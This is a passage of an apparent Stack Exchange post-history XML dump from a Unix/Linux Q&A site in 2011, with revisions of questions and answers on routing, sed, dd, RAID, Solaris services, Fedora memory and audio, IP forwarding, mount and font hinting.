ms&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Why vpn1 routes pings to 10.100.0.1 instead of to 10.100.0.112?&#xD;&#xA;10.100.0.1 is network gateway with no nat. 10.100.0.112 is dual home host with nat enabled." />
  <row Id="35128" PostHistoryTypeId="1" PostId="14046" RevisionGUID="7fc381a5-b5d7-4298-bb6a-f451ef3bd263" CreationDate="2011-05-30T13:03:09.573" UserId="7870" Text="Routing problem" />
  <row Id="35129" PostHistoryTypeId="3" PostId="14046" RevisionGUID="7fc381a5-b5d7-4298-bb6a-f451ef3bd263" CreationDate="2011-05-30T13:03:09.573" UserId="7870" Text="éroutingà" />
  <row Id="35130" PostHistoryTypeId="5" PostId="14045" RevisionGUID="c58e578f-7316-42d7-8d3f-dfe3a9fa5297" CreationDate="2011-05-30T13:03:21.727" UserId="1925" Comment="Removed signature, see FAQ. Your posts are signed with a link to your profile. Fixed English issues to clarify the question and tweaked formatting." Text="I want to search for and remove a block text from several files. &#xD;&#xA;&#xD;&#xA;The block of text to be matched against is in  file, say `/home/user/myblock.txt` I want to parse the directory  `/home/user/rep` and remove the content of `mybloc.txt` from all the files in the directory.&#xD;&#xA;" />
  <row Id="35131" PostHistoryTypeId="2" PostId="14047" RevisionGUID="91e54f4f-b78f-4260-9552-186a4918f585" CreationDate="2011-05-30T13:20:02.140" UserId="2333" Text="You should be able to `dd if=linux.iso of=/dev/sdx`, where x is the letter for your USB device. Don't use `/dev/sdx1`, just `/dev/sdx`. It has worked for me (not with Ubuntu, though). Beware that this will destroy any data previously on the flashdrive." />
  <row Id="35133" PostHistoryTypeId="2" PostId="14048" RevisionGUID="f93146c6-1608-4070-9f9e-67c8861de596" CreationDate="2011-05-30T13:25:30.433" UserId="7870" Text="You can try this: &lt;br/&gt;&#xD;&#xA;        var=`cat /home/user/myblock.txt`;&lt;br/&gt;&#xD;&#xA;        sed -e s/&quot;$var&quot;//g /home/user/rep/somefile; &lt;/br&gt;&#xD;&#xA;&#xD;&#xA;Of course, this will just print the somefile without your block of text, but you can easyly save it with output redirection.&#xD;&#xA;" />
  <row Id="35134" PostHistoryTypeId="5" PostId="14048" RevisionGUID="6c3a7027-28b5-414c-b7f6-2df6fab2bbe4" CreationDate="2011-05-30T13:32:33.123" UserId="7870" Comment="added 171 characters in body" Text="You can try this: &lt;br/&gt;&#xD;&#xA;        var=`cat /home/user/myblock.txt`;&lt;br/&gt;&#xD;&#xA;        sed -e s/&quot;$var&quot;//g /home/user/rep/somefile; &lt;/br&gt;&#xD;&#xA;&#xD;&#xA;Of course, this will just print the somefile without your block of text, but you can easyly save it with output redirection.&#xD;&#xA;&#xD;&#xA;If you want to edit file &quot;in place&quot;, use -i argument to sed, but be carefful, you can loose all your data. It's better idea to save to some temporary file and rename it." />
  <row Id="35135" PostHistoryTypeId="5" PostId="14048" RevisionGUID="84c736ee-7d81-4e61-9830-33c485aae645" CreationDate="2011-05-30T14:15:52.803" UserId="4671" Comment="minor corrections" Text="You can try this: &lt;br/&gt;&#xD;&#xA;        var=`cat /home/user/myblock.txt`;&lt;br/&gt;&#xD;&#xA;        sed -e s/&quot;$var&quot;//g /home/user/rep/somefile; &lt;/br&gt;&#xD;&#xA;&#xD;&#xA;Of course, this will just print the somefile without your block of text, but you can easily save it with output redirection.&#xD;&#xA;&#xD;&#xA;If you want to edit the file &quot;in place&quot;, use the `-i` argument to sed, but be careful. You may lose all your data. It's a better idea to save to some temporary file and rename it." />
  <row Id="35136" PostHistoryTypeId="24" PostId="14048" RevisionGUID="84c736ee-7d81-4e61-9830-33c485aae645" CreationDate="2011-05-30T14:15:52.803" Comment="Proposed by 4671 approved by 885 edit id of 399" />
  <row Id="35137" PostHistoryTypeId="2" PostId="14049" RevisionGUID="3bed215a-6ea4-47da-8097-8cfc33227773" CreationDate="2011-05-30T15:12:52.263" UserId="4949" Text="Assuming your hardware allows for hotplugging hard drives, I'm fairly sure any modern linux distro should instantly spot the added drive and create device numbers to access it, generally via `udev`. " />
  <row Id="35138" PostHistoryTypeId="25" PostId="14045" RevisionGUID="167a4c5d-19ee-4d00-bcbf-960fd096a838" CreationDate="2011-05-30T15:13:22.420" Comment="http://twitter.com/#!/StackUnix/status/75218244755128321" />
  <row Id="35139" PostHistoryTypeId="2" PostId="14050" RevisionGUID="08ebf850-11d6-4dd5-b632-2c3c246a28f1" CreationDate="2011-05-30T15:21:41.373" UserId="7285" Text="Chunk size does not apply to raid1 because there is no striping; essentially the entire disk is one chunk.  In short, you do not need to worry about the 4k physical sector size.  Recent versions of mdadm use the information from the kernel to make sure that the start of data is aligned to a 4kb boundary.  Just make sure you are using a 1.x metadata format.&#xD;&#xA;" />
  <row Id="35140" PostHistoryTypeId="2" PostId="14051" RevisionGUID="b8e7b52c-73d5-475b-b758-8cf42a3e9b37" CreationDate="2011-05-30T15:30:56.547" UserId="7285" Text="The simplest way to get the size of the disk is with `blockdev --getsz`:&#xD;&#xA;&#xD;&#xA;    sudo -s&#xD;&#xA;    dd bs=512 if=/dev/zero of=/dev/sda count=2048 seek=$((`blockdev --getsz /dev/sda` - 2048))&#xD;&#xA;" />
  <row Id="35141" PostHistoryTypeId="2" PostId="14052" RevisionGUID="68b78496-276b-4d4f-945a-063d96022e67" CreationDate="2011-05-30T15:53:37.317" UserId="5737" Text="I've created a service for an application, and I want this application to be started on boot. In the service manifest, I realize that there's a property for this (enabled=&quot;true&quot;), but I've been avoiding this for a particularly annoying aspect:&#xD;&#xA;&#xD;&#xA;The import is part of a script. Having the service as &quot;enabled&quot; means that it will be restarted on import. The problem is that I'm not sure how to wait until the process is enabled before continuing. So, what I do in the script is import with enabled set as &quot;false&quot;, then run &quot;svcadm enable -s `&lt;service&gt;`&quot;.&#xD;&#xA;&#xD;&#xA;So I was wondering if anyone had any answers for any one of these questions:&#xD;&#xA;&#xD;&#xA;1. How do you make an existing service start on boot (hopefully avoiding manual additions to rc3.d)?&#xD;&#xA;2. How do you make svccfg import wait until a service is completely enabled before continuing?&#xD;&#xA;3. Is there an elegant way to wait until a service is started before continuing (avoiding manually just grepping for enabled in a loop)?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35142" PostHistoryTypeId="1" PostId="14052" RevisionGUID="68b78496-276b-4d4f-945a-063d96022e67" CreationDate="2011-05-30T15:53:37.317" UserId="5737" Text="Starting a service during startup" />
  <row Id="35143" PostHistoryTypeId="3" PostId="14052" RevisionGUID="68b78496-276b-4d4f-945a-063d96022e67" CreationDate="2011-05-30T15:53:37.317" UserId="5737" Text="ésolarisàéservicesà" />
  <row Id="35144" PostHistoryTypeId="5" PostId="14001" RevisionGUID="507e192c-f686-4d11-8bd7-6854ee5300d6" CreationDate="2011-05-30T16:14:39.443" UserId="274" Comment="add sign format specifiers" Text="You could use the&#xD;&#xA;[printf](http://manpages.ubuntu.com/manpages/natty/en/man1/printf.1posix.html)&#xD;&#xA;command: its first argument is a format string, followed by other&#xD;&#xA;arguments that will be inserted into the format string, one per format&#xD;&#xA;specifier.  &#xD;&#xA;&#xD;&#xA;The format specifier for printing a string is `%s`; an integer number&#xD;&#xA;is printed with `%d`; you can optionally specify a total number of&#xD;&#xA;digits (e.g., 4) and a leading `0` for padding with the format `%04d`;&#xD;&#xA;if you want a sign to be always printed, add a `+` after the `%` character,&#xD;&#xA;if you want a sign to be printed only if the number is negative,&#xD;&#xA;follow `%` by a space character (` `) instead. Also, you must terminate the&#xD;&#xA;format string with `\n` to print a final end-of-line like `echo`&#xD;&#xA;normally does.&#xD;&#xA;&#xD;&#xA;See the [printf(3)](http://manpages.ubuntu.com/3/printf) man page for&#xD;&#xA;the complete listing.&#xD;&#xA;&#xD;&#xA;So, for instance:&#xD;&#xA;&#xD;&#xA;    count100=grep -ach &quot;0100 $GivenBIN&quot; $line&#xD;&#xA;    count110=grep -ach &quot;0110 $GivenBIN&quot; $line&#xD;&#xA;    filename=echo $line | awk -F&quot;/&quot; '{print $NF}'&#xD;&#xA;    printf '%s %d : %d = % 03d | %s : %d = %04d\n' &quot;$filename&quot; &quot;$count100&quot; &quot;$count110&quot; &quot;$ans1&quot; #...&#xD;&#xA;will print the lines in the format you want.&#xD;&#xA;" />
  <row Id="35145" PostHistoryTypeId="5" PostId="14048" RevisionGUID="48d68e67-9e43-44a1-8188-45e6180bf4fd" CreationDate="2011-05-30T16:19:01.423" UserId="274" Comment="added backticks as requested" Text="You can try this:&#xD;&#xA;&#xD;&#xA;        var=`cat /home/user/myblock.txt`;&#xD;&#xA;        sed -e s/&quot;$var&quot;//g /home/user/rep/somefile;&#xD;&#xA;&#xD;&#xA;Of course, this will just print the somefile without your block of text, but you can easily save it with output redirection.&#xD;&#xA;&#xD;&#xA;If you want to edit the file &quot;in place&quot;, use the `-i` argument to sed, but be careful. You may lose all your data. It's a better idea to save to some temporary file and rename it." />
  <row Id="35146" PostHistoryTypeId="2" PostId="14053" RevisionGUID="80040c3e-2fc9-4f0a-a1d3-9697e506ded6" CreationDate="2011-05-30T16:27:03.967" UserId="7905" Text="Hi All, &#xD;&#xA;&#xD;&#xA;I have an issue with Fedora 15's available memory. The laptop it is installed on has 4GB of SDRAM but Fedora only sees 2GB.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          2193       1994        198          0         59       1405&#xD;&#xA;    -/+ buffers/cache:        529       1663&#xD;&#xA;    Swap:         4255          0       4255&#xD;&#xA;&#xD;&#xA;I realize F15 is a 32-bit OS, but I should still be able to access more than 2193MB. Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ uname -r&#xD;&#xA;    2.6.38.6-27.fc15.i686&#xD;&#xA;" />
  <row Id="35147" PostHistoryTypeId="1" PostId="14053" RevisionGUID="80040c3e-2fc9-4f0a-a1d3-9697e506ded6" CreationDate="2011-05-30T16:27:03.967" UserId="7905" Text="Fedora 15 - Limited RAM Access" />
  <row Id="35148" PostHistoryTypeId="3" PostId="14053" RevisionGUID="80040c3e-2fc9-4f0a-a1d3-9697e506ded6" CreationDate="2011-05-30T16:27:03.967" UserId="7905" Text="élinuxàékernelàéfedoraàémemoryà" />
  <row Id="35149" PostHistoryTypeId="5" PostId="14048" RevisionGUID="e4b179ee-5d6b-46ed-bfc3-0eae5b5dea83" CreationDate="2011-05-30T16:39:07.370" UserId="7870" Comment="added 58 characters in body" Text="You can try this:&#xD;&#xA;&#xD;&#xA;        var=`cat /home/user/myblock.txt`;&#xD;&#xA;        sed -e s/&quot;$var&quot;//g /home/user/rep/somefile;&#xD;&#xA;&#xD;&#xA;Of course, this will just print the somefile without your block of text, but you can easily save it with output redirection.&#xD;&#xA;&#xD;&#xA;If you want to edit the file &quot;in place&quot;, use the `-i` argument to sed, but be careful. You may lose all your data. It's a better idea to save to some temporary file and rename it.&#xD;&#xA;&#xD;&#xA;This is not working if myblock.txt has multiple lines." />
  <row Id="35150" PostHistoryTypeId="2" PostId="14054" RevisionGUID="3554ae27-9035-461e-ab53-8f2e4d7f1959" CreationDate="2011-05-30T16:41:06.463" UserId="7905" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have a Macbook Pro 6,1 that I have dual booting OSX and now Fedora 15. I'm working on getting the audio working.&#xD;&#xA;&#xD;&#xA;In System Settings &gt; Sound &gt; Output there are two options for audio devices:&#xD;&#xA;&#xD;&#xA;    High Definition Audio Control Digital Stereo (HDMI)&#xD;&#xA;    Internal Audio Analog Stereo&#xD;&#xA;&#xD;&#xA;There is no sound when the first option (HD Audio Control Digital Stereo) is selected. However, if the second (Internal Audio Analog Stereo) is selected the headphone jack works, but the on board speakers do not work. &#xD;&#xA;&#xD;&#xA;I can't even tell what actual hardware on the laptop is. The Apple website ([http://support.apple.com/kb/SP621][1]) just says,&#xD;&#xA;&#xD;&#xA;&gt; Stereo speakers with subwoofers, omnidirectional microphone, audio line in minijack (digital/analog), audio line out/headphone minijack (digital/analog)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.apple.com/kb/SP621" />
  <row Id="35151" PostHistoryTypeId="1" PostId="14054" RevisionGUID="3554ae27-9035-461e-ab53-8f2e4d7f1959" CreationDate="2011-05-30T16:41:06.463" UserId="7905" Text="Fedora 15 - Audio Configuration" />
  <row Id="35152" PostHistoryTypeId="3" PostId="14054" RevisionGUID="3554ae27-9035-461e-ab53-8f2e4d7f1959" CreationDate="2011-05-30T16:41:06.463" UserId="7905" Text="élinuxàéfedoraàéaudioàéconfigurationàépulseaudioà" />
  <row Id="35153" PostHistoryTypeId="2" PostId="14055" RevisionGUID="70365627-a8ac-4b78-a1ae-c7266fb420bb" CreationDate="2011-05-30T17:01:21.730" UserId="4671" Text="What kernel are you using? The kernel needs to have BIGMEM support." />
  <row Id="35154" PostHistoryTypeId="5" PostId="14053" RevisionGUID="2f447479-a658-4de6-87cb-1cea752e493c" CreationDate="2011-05-30T17:04:59.363" UserId="7905" Comment="added 74 characters in body" Text="Hi All, &#xD;&#xA;&#xD;&#xA;I have an issue with Fedora 15's available memory. The laptop it is installed on has 4GB of SDRAM but Fedora only sees 2GB.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          2193       1994        198          0         59       1405&#xD;&#xA;    -/+ buffers/cache:        529       1663&#xD;&#xA;    Swap:         4255          0       4255&#xD;&#xA;&#xD;&#xA;I realize F15 is a 32-bit OS, but I should still be able to access more than 2193MB. Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ uname -a&#xD;&#xA;    Linux calvin 2.6.38.6-27.fc15.i686 #1 SMP Sun May 15 17:57:13 UTC 2011 i686 i686 i386 GNU/Linux&#xD;&#xA;" />
  <row Id="35155" PostHistoryTypeId="5" PostId="12365" RevisionGUID="b2c7292f-f8b7-4d81-b39b-5ce58d05ec02" CreationDate="2011-05-30T17:40:56.067" UserId="195" Comment="clarify IP conflicts" Text="Such problems normally arise due to IP address conflicts, even though you have DHCP set up in the LAN. Try to set a free IP and then try to ping the other machine. You can also check the DHCP log file at server." />
  <row Id="35156" PostHistoryTypeId="24" PostId="12365" RevisionGUID="b2c7292f-f8b7-4d81-b39b-5ce58d05ec02" CreationDate="2011-05-30T17:40:56.067" Comment="Proposed by 195 approved by 73 edit id of 400" />
  <row Id="35157" PostHistoryTypeId="5" PostId="14054" RevisionGUID="82b4eee4-a501-41d4-bb41-a9ecba878ff8" CreationDate="2011-05-30T17:42:23.180" UserId="73" Comment="deleted 1 characters in body" Text="I have a Macbook Pro 6,1 that I have dual booting OSX and now Fedora 15. I'm working on getting the audio working.&#xD;&#xA;&#xD;&#xA;In System Settings &gt; Sound &gt; Output there are two options for audio devices:&#xD;&#xA;&#xD;&#xA;    High Definition Audio Control Digital Stereo (HDMI)&#xD;&#xA;    Internal Audio Analog Stereo&#xD;&#xA;&#xD;&#xA;There is no sound when the first option (HD Audio Control Digital Stereo) is selected. However, if the second (Internal Audio Analog Stereo) is selected the headphone jack works, but the on board speakers do not work. &#xD;&#xA;&#xD;&#xA;I can't even tell what actual hardware on the laptop is. The Apple website ([http://support.apple.com/kb/SP621][1]) just says,&#xD;&#xA;&#xD;&#xA;&gt; Stereo speakers with subwoofers, omnidirectional microphone, audio line in minijack (digital/analog), audio line out/headphone minijack (digital/analog)&#xD;&#xA;&#xD;&#xA;How do I get the speakers working?&#xD;&#xA;&#xD;&#xA;  [1]: http://support.apple.com/kb/SP621" />
  <row Id="35158" PostHistoryTypeId="5" PostId="14053" RevisionGUID="5f236716-648d-4186-8304-c8898d574149" CreationDate="2011-05-30T17:43:00.483" UserId="73" Comment="deleted 23 characters in body" Text="I have an issue with Fedora 15's available memory. The laptop it is installed on has 4GB of SDRAM, but Fedora only sees 2GB.&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          2193       1994        198          0         59       1405&#xD;&#xA;    -/+ buffers/cache:        529       1663&#xD;&#xA;    Swap:         4255          0       4255&#xD;&#xA;&#xD;&#xA;I realize F15 is a 32-bit OS, but I should still be able to access more than 2193MB. Any ideas?&#xD;&#xA;&#xD;&#xA;    [njozwiak@calvin xpmc6720]$ uname -a&#xD;&#xA;    Linux calvin 2.6.38.6-27.fc15.i686 #1 SMP Sun May 15 17:57:13 UTC 2011 i686 i686 i386 GNU/Linux&#xD;&#xA;" />
  <row Id="35159" PostHistoryTypeId="5" PostId="14046" RevisionGUID="2c6b73a6-4f37-4dee-a545-31bbef9279c1" CreationDate="2011-05-30T17:46:30.000" UserId="73" Comment="deleted 76 characters in body" Text="In the following output, why does `vpn1` route pings to 10.100.0.1 instead of 10.100.0.112? 10.100.0.1 is a network gateway with no NAT; 10.100.0.112 is a dual-homed host with NAT enabled.&#xD;&#xA;&#xD;&#xA;    root@vpn1:~# ip ro&#xD;&#xA;    10.8.0.21 dev tun0 proto kernel scope link src 10.8.0.22&#xD;&#xA;    8.8.8.8 via 10.100.0.112 dev eth0 src 10.100.0.5&#xD;&#xA;    10.8.0.0/24 via 10.8.0.21 dev tun0&#xD;&#xA;    192.168.124.0/24 dev eth1 proto kernel scope link src 192.168.124.1&#xD;&#xA;    10.100.0.0/24 dev eth0 proto kernel scope link src 10.100.0.5&#xD;&#xA;    192.168.123.0/24 via 10.8.0.21 dev tun0&#xD;&#xA;    default via 10.100.0.1 dev eth0 metric 100&#xD;&#xA;    root@vpn1:~# traceroute 8.8.8.8&#xD;&#xA;    traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets&#xD;&#xA;    1 10.100.0.1 (10.100.0.1) 0.287 ms 0.257 ms 0.317 ms&#xD;&#xA;    2 * * *&#xD;&#xA;    3 * * *&#xD;&#xA;    4 * * *&#xD;&#xA;    5 * * *&#xD;&#xA;    6 * * *&#xD;&#xA;    7 * * *&#xD;&#xA;    8 * * *&#xD;&#xA;    9 * * *&#xD;&#xA;    10 * * *&#xD;&#xA;    11 * * *&#xD;&#xA;    12 * *^C&#xD;&#xA;    root@vpn1:~# ping 10.100.0.112&#xD;&#xA;    PING 10.100.0.112 (10.100.0.112) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.100.0.112: icmp_req=1 ttl=127 time=0.321 ms&#xD;&#xA;    ^C&#xD;&#xA;    &#xD;&#xA;    --- 10.100.0.112 ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 0.321/0.321/0.321/0.000 ms&#xD;&#xA;" />
  <row Id="35160" PostHistoryTypeId="5" PostId="14023" RevisionGUID="fe436247-b79a-4a7d-9ae0-811240178cf2" CreationDate="2011-05-30T17:51:00.203" UserId="73" Comment="deleted 65 characters in body" Text="If you simply run the libusb program as root,&#xD;&#xA;&#xD;&#xA;    usb_detach_kernel_driver_np()&#xD;&#xA;&#xD;&#xA;actually works as expected." />
  <row Id="35161" PostHistoryTypeId="5" PostId="14055" RevisionGUID="ffa9b679-25ef-462b-884f-7c007d8cc2d0" CreationDate="2011-05-30T17:54:07.383" UserId="4671" Comment="added 226 characters in body" Text="What kernel are you using? The kernel needs to have BIGMEM support.&#xD;&#xA;&#xD;&#xA;Fedora 15 offers BIGMEM support in PAE kernels. So install (for example)&#xD;&#xA;[the Fedora 15 2.6.38 PAE kernel](http://rpm.pbone.net/index.php3/stat/4/idpl/15805270/dir/fedora_15/com/kernel-PAE-2.6.38.6-27.fc15.i686.rpm.html)." />
  <row Id="35162" PostHistoryTypeId="2" PostId="14056" RevisionGUID="21c04e1c-6cf0-4f13-8211-3aed9f995ee2" CreationDate="2011-05-30T17:54:25.680" UserId="3198" Text="I have seen on many blogs, using this command to enable IP forwarding while using many network security/sniffing tools on linux&#xD;&#xA;&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;&#xD;&#xA;Can anyone explain me in layman terms, what essentially does this command do ?&#xD;&#xA;&#xD;&#xA;Does it turn your system into router ? What is the windows equivalent of this ?" />
  <row Id="35163" PostHistoryTypeId="1" PostId="14056" RevisionGUID="21c04e1c-6cf0-4f13-8211-3aed9f995ee2" CreationDate="2011-05-30T17:54:25.680" UserId="3198" Text="What is kernel ip forwarding ?" />
  <row Id="35164" PostHistoryTypeId="3" PostId="14056" RevisionGUID="21c04e1c-6cf0-4f13-8211-3aed9f995ee2" CreationDate="2011-05-30T17:54:25.680" UserId="3198" Text="élinuxàékernelàésecurityàéwindowsàéipà" />
  <row Id="35165" PostHistoryTypeId="25" PostId="14056" RevisionGUID="3f3d63eb-d31a-4aee-851f-7965e5965e93" CreationDate="2011-05-30T18:13:22.407" Comment="http://twitter.com/#!/StackUnix/status/75263545310326784" />
  <row Id="35166" PostHistoryTypeId="2" PostId="14057" RevisionGUID="5404e6c2-801d-42d4-bdd9-1708e5ce58aa" CreationDate="2011-05-30T18:28:36.650" UserId="1879" Text="IP forwarding essentially turns your server into a router.  As for how to accomplish this on a windows box see here:&#xD;&#xA;&#xD;&#xA;[How to Enable TCP/IP Forwarding in Windows XP][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/315236" />
  <row Id="35167" PostHistoryTypeId="2" PostId="14058" RevisionGUID="77bb1538-858f-4546-acee-383c07ca7cc0" CreationDate="2011-05-30T18:36:12.760" UserId="3389" Text="&quot;IP forwarding&quot; is a synonym for &quot;routing.&quot;  It is called &quot;kernel IP forwarding&quot; because it is a feature of the Linux kernel.&#xD;&#xA;&#xD;&#xA;A router has multiple network interfaces.  If traffic comes in on one interface that matches a subnet of another network interface, a router then forwards that traffic to the other network interface.&#xD;&#xA;&#xD;&#xA;So, let's say you have two NICs, one (NIC 1) is at address 192.168.2.1/24, and the other (NIC 2) is 192.168.3.1/24.  If forwarding is enabled, and a packet comes in on NIC 1 with a &quot;destination address&quot; of 192.168.3.8, the router will resend that packet out of the NIC 2.&#xD;&#xA;&#xD;&#xA;It's common for routers functioning as gateways to the Internet to have a default route whereby any traffic that doesn't match any NICs will go through the default route.  So in the above example, if you have an internet connection on NIC 2, you'd set NIC 2 as your default route and then any traffic coming in from NIC 1 that isn't destined for something on 192.168.2.0/24 will go through NIC 2.  Hopefully there's other routers past NIC 2 that can further route it (in the case of the Internet, the next hop would be your ISP's router, and then their providers upstream router, etc.)&#xD;&#xA;&#xD;&#xA;Enabling `ip_forward` tells your Linux system to do this.  For it to be meaningful, you need two network interfaces (any 2 or more of wired NIC cards, Wifi cards or chipsets, PPP links over a 56k modem or serial, etc.).  &#xD;&#xA;&#xD;&#xA;However, enabling this without taking firewalling and security into account can leave you open to vulnerabilites if one of the NICs is facing the Internet or a subnet you don't have control over.  " />
  <row Id="35168" PostHistoryTypeId="5" PostId="14058" RevisionGUID="b2c80cc2-dab3-4d4a-9937-5ea2c6a55391" CreationDate="2011-05-30T18:42:32.487" UserId="3389" Comment="added 233 characters in body" Text="&quot;IP forwarding&quot; is a synonym for &quot;routing.&quot;  It is called &quot;kernel IP forwarding&quot; because it is a feature of the Linux kernel.&#xD;&#xA;&#xD;&#xA;A router has multiple network interfaces.  If traffic comes in on one interface that matches a subnet of another network interface, a router then forwards that traffic to the other network interface.&#xD;&#xA;&#xD;&#xA;So, let's say you have two NICs, one (NIC 1) is at address 192.168.2.1/24, and the other (NIC 2) is 192.168.3.1/24.  If forwarding is enabled, and a packet comes in on NIC 1 with a &quot;destination address&quot; of 192.168.3.8, the router will resend that packet out of the NIC 2.&#xD;&#xA;&#xD;&#xA;It's common for routers functioning as gateways to the Internet to have a default route whereby any traffic that doesn't match any NICs will go through the default route's NIC.  So in the above example, if you have an internet connection on NIC 2, you'd set NIC 2 as your default route and then any traffic coming in from NIC 1 that isn't destined for something on 192.168.2.0/24 will go through NIC 2.  Hopefully there's other routers past NIC 2 that can further route it (in the case of the Internet, the next hop would be your ISP's router, and then their providers upstream router, etc.)&#xD;&#xA;&#xD;&#xA;Enabling `ip_forward` tells your Linux system to do this.  For it to be meaningful, you need two network interfaces (any 2 or more of wired NIC cards, Wifi cards or chipsets, PPP links over a 56k modem or serial, etc.).  &#xD;&#xA;&#xD;&#xA;When doing routing, security is important and that's where Linux's packet filter, `iptables`, gets involved.  So you will need an `iptables` configuration consistent with your needs.&#xD;&#xA;&#xD;&#xA;Note that enabling forwarding with `iptables` disabled and/or without taking firewalling and security into account could leave you open to vulnerabilites if one of the NICs is facing the Internet or a subnet you don't have control over.  " />
  <row Id="35169" PostHistoryTypeId="2" PostId="14059" RevisionGUID="6f0cb57b-3eb1-497f-8fb8-9fbd33bbeeda" CreationDate="2011-05-30T18:58:03.247" UserId="1762" Text="[Font Manager][1] is very handy for previewing and comparing fonts. It doesn't let you open a TTF file, but in Linux &quot;installing&quot; a font is not a big deal, just copy it temporarily to ~/.fonts.&#xD;&#xA;&#xD;&#xA;![Font Manager][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/font-manager/&#xD;&#xA;  [2]: http://i.stack.imgur.com/iaAJ5.png" />
  <row Id="35170" PostHistoryTypeId="2" PostId="14060" RevisionGUID="de990728-b486-4676-b202-c04e1127520e" CreationDate="2011-05-30T19:10:24.070" UserId="674" Text="When using command mount for a device, I was wondering about the following questions:&#xD;&#xA;&#xD;&#xA; 1. Since device file is a parameter to&#xD;&#xA;    mount, how does one know what the&#xD;&#xA;    device file for a device is in&#xD;&#xA;    general?&#xD;&#xA; 2. Do I have to create in advance the&#xD;&#xA;    directory to which the device is&#xD;&#xA;    mounted to, if it does not exist&#xD;&#xA;    yet? I saw this was said to be&#xD;&#xA;    required, but my CD with name &quot;mycd&quot;&#xD;&#xA;    is automatically mounted to /media/mycd, which&#xD;&#xA;    doesn't exist beforehand.&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;" />
  <row Id="35171" PostHistoryTypeId="1" PostId="14060" RevisionGUID="de990728-b486-4676-b202-c04e1127520e" CreationDate="2011-05-30T19:10:24.070" UserId="674" Text="Questions on using command mount" />
  <row Id="35172" PostHistoryTypeId="3" PostId="14060" RevisionGUID="de990728-b486-4676-b202-c04e1127520e" CreationDate="2011-05-30T19:10:24.070" UserId="674" Text="émountà" />
  <row Id="35173" PostHistoryTypeId="5" PostId="14060" RevisionGUID="756a21d6-5e7a-445f-aa77-fecf4987ccdc" CreationDate="2011-05-30T19:23:31.970" UserId="674" Comment="added 73 characters in body" Text="When using command mount for a device, I was wondering about the following questions:&#xD;&#xA;&#xD;&#xA; 1. Since device file is a parameter to&#xD;&#xA;    mount, how does one know what the&#xD;&#xA;    device file for a device is in&#xD;&#xA;    general?&#xD;&#xA; 2. Do I have to create in advance the&#xD;&#xA;    directory to which the device is&#xD;&#xA;    mounted to, if it does not exist&#xD;&#xA;    yet? I saw this was said to be&#xD;&#xA;    required, but my CD with name &quot;mycd&quot;&#xD;&#xA;    is automatically mounted to /media/mycd, which&#xD;&#xA;    doesn't exist beforehand.&#xD;&#xA; 3. can a device be mounted to several&#xD;&#xA;    places, without unmounting?&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;" />
  <row Id="35174" PostHistoryTypeId="2" PostId="14061" RevisionGUID="1424e9f8-5052-4aea-9954-ea5c07fb0cc4" CreationDate="2011-05-30T19:28:38.257" UserId="1762" Text="As already mentioned, this is very subjective, and there are two schools of thought:&#xD;&#xA;&#xD;&#xA; - **Microsoft ClearType**: heavy use of hinting with focus on readability at the expense of compromising accuracy of glyphs.&#xD;&#xA; - **Mac OS X**: hints are essentially disregarded and glyphs are represented exactly, even if this causes some blurriness.&#xD;&#xA;&#xD;&#xA;Linux gives you a choice, you can either enable full hinting to get a crisp look, or focus on font accuracy and disable hinting altogether. You can configure that either using the GNOME Appearance settings or by directly editing the [fonts.conf][1] configuration file.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/software/fontconfig/fontconfig-user.html" />
  <row Id="35175" PostHistoryTypeId="5" PostId="14061" RevisionGUID="e3aaabd5-db20-4e83-8171-db81e292fb2c" CreationDate="2011-05-30T19:34:43.817" UserId="1762" Comment="added 19 characters in body" Text="As already mentioned, this is very subjective, and there are two schools of thought:&#xD;&#xA;&#xD;&#xA; - **Microsoft ClearType**: Heavy use of hinting with focus on readability at the expense of compromising on accuracy of glyphs.&#xD;&#xA; - **Mac OS X**: Hints are essentially disregarded, and glyphs are represented exactly, even if this is going to cause some blurriness.&#xD;&#xA;&#xD;&#xA;Linux gives you a choice, you can either enable full hinting to get the crisp look, or focus on font accuracy and disable hinting altogether. This can be configured either through the GNOME Appearance settings or by directly editing the [fonts.conf][1] configuration file.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/software/fontconfig/fontconfig-user.html" />
